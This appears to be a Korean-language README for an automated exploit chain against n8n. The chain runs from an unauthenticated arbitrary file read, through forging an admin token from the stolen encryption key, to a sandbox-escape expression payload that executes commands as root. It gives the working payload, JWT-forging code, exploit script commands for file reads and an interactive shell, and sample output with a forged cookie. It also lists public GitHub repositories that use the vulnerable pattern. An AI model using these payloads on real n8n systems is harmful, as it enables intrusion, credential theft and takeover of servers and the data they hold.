
자동화된 n8n 익스플로잇 체인으로, 인증 없이 임의 파일 읽기, 관리자 토큰 위조, 샌드박스 우회를 통해 표현식 주입으로 원격 코드 실행을 달성합니다.
인증 없는 임의 파일 읽기 → 관리자 토큰 위조 → 샌드박스 우회 → RCE
n8n에서의 완전한 인증 없는 RCE 체인:
노출은 버전 기반입니다. 노출 측면에서, 취약한 n8n 인스턴스가 공개적으로 접근 가능합니다.
LeakIX 결과: 노출된 인스턴스 보기
이 익스플로잇은 Cyera 분석과 독립적으로 개발되었습니다(완료 후 발견). 주요 차이점:
| Cyera (원본 연구) | 이 익스플로잇 |
|---|
| 파일 읽기 | AI 지식 베이스에 로드 → 채팅으로 조회 | 직접 HTTP 응답 |
| 전제 조건 | 채팅 워크플로우 + AI 통합 | 파일 업로드가 있는 모든 폼 |
| RCE 방법 | "Execute Command" 노드 (기본적으로 비활성화) | 표현식 주입 (기본 설치에서 작동) |
| 자동화 | 수동/개념 데모 | 완전 자동화된 Python 스크립트 |
두 접근 방식 모두 특정 워크플로우 구성이 필요합니다. Cyera는 채팅 + AI 통합이 필요하고, 이 익스플로잇은 Respond 노드가 있는 폼이 필요합니다. 자세한 내용은 제한 사항을 참조하세요.
┌───────────────────────────────────────────────────────────┐
│ 인증 없음 │
├───────────────────────────────────────────────────────────┤
│ 1. /proc/self/environ 읽기 → HOME 디렉토리 찾기 │
│ 2. $HOME/.n8n/config 읽기 → encryptionKey 획득 │
│ 3. $HOME/.n8n/database.sqlite 읽기 → 관리자 자격 증명 획득 │
├───────────────────────────────────────────────────────────┤
│ 토큰 위조 │
├───────────────────────────────────────────────────────────┤
│ 4. encryptionKey에서 JWT 시크릿 도출 │
│ 5. 관리자 세션 쿠키 위조 │
├───────────────────────────────────────────────────────────┤
│ 인증된 RCE │
├───────────────────────────────────────────────────────────┤
│ 6. 표현식 주입이 포함된 워크플로우 생성 │
│ 7. this.process.mainModule.require를 통한 샌드박스 우회 │
│ 8. 임의 명령 실행 │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
전설적인 "Merge commit from fork" - 이것을 보면, 누군가 흥미로운 것을 찾았다는 뜻입니다. 🌶️
// 수정 전 (취약)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// 수정 후 (패치됨)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
Content-Type: application/json 전송 → filepath 제어 → 모든 파일 읽기.
n8n은 vm2/isolated-vm을 사용하여 사용자 코드(Code Node, 표현식)를 샌드박싱합니다. 다른 RCE 벡터:
| 기법 | 상태 |
|---|---|
| Execute Command Node | 기본적으로 비활성화 (N8N_ALLOW_EXEC_COMMAND=false) |
| SSH/HTTP Nodes | 원격 서버에서 실행, n8n 호스트가 아님 |
| Pyodide 샌드박스 탈출 | CVE-2025-68668 - Python Code Node 필요 |
| 표현식 주입 | CVE-2025-68613 - 기본 설치에서 작동 |
표현식 주입을 사용한 이유는 기본 설정의 모든 n8n에서 작동하기 때문입니다 - 특별한 노드나 구성이 필요 없습니다. Pyodide 우회(CVE-2025-68668)는 모든 인스턴스에서 사용할 수 없는 Python Code Node가 필요합니다.
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
n8n 표현식은 this.process.mainModule.require에 접근할 수 있습니다 → 완전한 샌드박스 탈출.
# JWT 시크릿 도출
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# JWT 해시
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# 토큰 위조
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# 설정에 약 60초 대기
# 폼: http://localhost:32790/form/vulnerable-form
# 자격 증명: [email protected] / ExploitLab123!
# 임의 파일 읽기
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# 명령 실행을 포함한 전체 체인
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# 대화형 셸
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n 전체 체인 ║
║ 임의 파일 읽기 → 토큰 위조 → 샌드박스 우회 → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] 대상: http://localhost:5678/form/vulnerable-form
[*] 버전: 1.65.0 (취약)
[x] HOME 디렉토리
[+] HOME 디렉토리: /root
[x] 암호화 키
[+] 암호화 키: yusrXZV1...
[x] 데이터베이스
[+] 데이터베이스: 1327104 바이트
[x] 관리자 사용자
[+] 관리자 사용자: [email protected]
[x] 토큰 위조
[+] 토큰 위조: OK
[x] 관리자 접근
[+] 관리자 접근: 허용됨!
[+] 쿠키: n8n-auth=eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
이것은 "모든 n8n을 해킹하는" 익스플로잇이 아닙니다. 작동하려면 특정 조건이 필요합니다:
| 요구 사항 | 설명 |
|---|---|
| 파일 업로드가 있는 폼 | 대상에 파일 업로드 필드가 있는 폼 워크플로우가 있어야 함 |
| Respond to Webhook 노드 | 워크플로우가 HTTP 응답으로 파일 내용을 반환해야 함 |
| 워크플로우 활성화 | 폼 워크플로우가 활성화되어 있어야 함 |
| 인증 없는 접근 | 폼이 공개적으로 접근 가능해야 함 (인증 없음) |
취약한 워크플로우 구성 예시:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
핵심 요소는: fieldType: "file" + respondWith: "binary"입니다. 이 패턴은 파일 처리 워크플로우(변환기, 이미지 리사이저, 문서 프로세서)에서 일반적입니다.
작동하는 경우:
작동하지 않는 경우:
참고: 취약점(임의 파일 읽기)은 데이터 유출 방법과 관계없이 트리거됩니다. Respond 노드는 콘텐츠를 검색하는 한 가지 방법일 뿐입니다. 대체 방법(OOB, 다른 출력 노드)은 워크플로우 구성에 따라 작동할 수 있습니다.
블라인드 익스플로잇: Respond 노드가 없으면 파일은 여전히 n8n에 의해 읽히지만 HTTP 응답으로 유출할 수 없습니다. 대체 기법(OOB, 타이밍)이 필요합니다.
취약한 패턴(Form Trigger + 파일 업로드 + Respond to Webhook)은 공개 GitHub 저장소에 존재합니다.
참고: 인기 있는 n8n 워크플로우 저장소(>100⭐)는 이 패턴을 사용하지 않습니다. 이들은 커뮤니티/개인 프로젝트입니다:
| 워크플로우 파일 | 파일 필드 | respondWith |
|---|---|---|
| ifcpipeline/.../ifcpipeline.json | IDS, IFC (x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | 이미지, 오디오, Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | 문서(PDF) | text |
| ai_resume_project/resume_rag.json | 파일 업로드 | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | 오디오 파일 | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | file | text |
| voltixLandingPage/.../chatbotvoltix.json | 파일 업로드 | 기본값 |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | file | 기본값 |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | 문서 업로드 | 기본값 |
| learn_earn_ai_insta/.../My workflow.json | 파일 업로드 | 기본값 |
| finintworkshop/.../API using n8n (ToT).json |
이들은 커뮤니티 기여 워크플로우입니다. 공식 n8n.io 템플릿은 이 취약한 패턴을 사용하지 않습니다.
| file |
json |